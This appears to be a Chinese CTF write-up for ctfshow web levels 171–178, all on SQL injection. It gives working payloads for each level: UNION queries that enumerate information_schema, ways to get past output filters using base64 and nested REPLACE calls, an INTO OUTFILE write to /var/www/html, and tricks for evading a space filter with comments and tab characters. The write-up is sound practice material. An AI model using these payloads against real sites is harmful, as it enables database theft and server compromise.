171
查询语句
//拼接sql语句查找指定ID用户 $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
可以看出当前表名 user,表下有字段 username和id。
直接查询字段和回显点。
三个字段,猜测另一个为password字段。这三个字段都是回显点。
查数据库名,结果为ctfshow_web
查表名
1' union select 1,table_name,3 from information_schema.tables where table_schema=database() -- qwe
结果是 ctfshow_user (就这一个,没有其他的了)
查字段名
1' union select 1,column_name,3 from information_schema.columns where table_name='ctfshow_user' -- qwe
猜测 flag应该在password下了。
查flag
172
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
查询语句不允许直接查 username=flag的记录。
//检查结果是否有flag if($row->username!=='flag'){ $ret['msg']='查询成功'; }
返回逻辑中 username 不能是 flag。。。管他呢,反正咱们查 password。。。
173
//检查结果是否有flag if(!preg_match('/flag/i', json_encode($ret))){ $ret['msg']='查询成功'; }
返回逻辑中,没有匹配到flag才能返回查询成功。
可以看出,flag没显示。那我们对返回的数据进行一次编码。
构造
1' union select 1,to_base64(password),3 from ctfshow_user3 %23
base 64解码即可。
174
//检查结果是否有flag if(!preg_match('/flag|[0-9]/i', json_encode($ret))){ $ret['msg']='查询成功'; }
返回的值不能有数字了,想想该怎么弄。。。
参照了大佬的wp,基本思路是置换。 mysql支持一些PHP的函数,比如replace。
0' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'g','9'),'0','h'),'1','i'),'2','j'),'3','k'),'4','l'),'5','m'),'6','n'),'7','o'),'8','p'),'9','q') from ctfshow_user4 where username='flag' %23
替换规则
0替换为h
1替换为i
2替换为j
3替换为k
4替换为l
5替换为m
6替换为n
7替换为o
8替换为p
9替换为q
我的查询结果
flaq{khhefafn-mnnb-lbfn-picc-hnledpbohekq} flag{300efaf6-566b-4bf6-81cc-064ed8b70e39}
175
这个做得太绝了。
//检查结果是否有flag if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){ $ret['msg']='查询成功'; }
如果返回结果中没有ASCII码在 00-7f范围的,才会查询成功。
我一开始想的是盲注,但是题目又说尽量不要用sqlmap。我吐了。。。
后来想到可以 讲 查询的结果不返回给我们,而是写到一个文件当中。 Linux服务器下,web文件夹的目录就是 /var/www/html 了
1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/2.txt' -- qwe
访问
176
从这开始添加过滤了。第一关大小写绕过。
177
过滤了空格。
先尝试 1'and'a'='a
发现执行成功。 再尝试1' and 'a'='a
失败了。所以很明显,过滤空格。 我们尝试用内敛注释 /**/ 代替空格,以次绕过。
178
通过上面的判断方法,得知还是过滤了空格。但是 内敛注释 已经无法绕过了。
所以考虑其他的方法。 在mysql的查询规则中,tab键也可以起到空格的效果。 tab键的ASCII码是 09
http://ascii.911cha.com/
在上面可以查到它对应的ascii编码。
所以构造 1'%09union%09select%091,password,3%09from%09ctfshow_user%23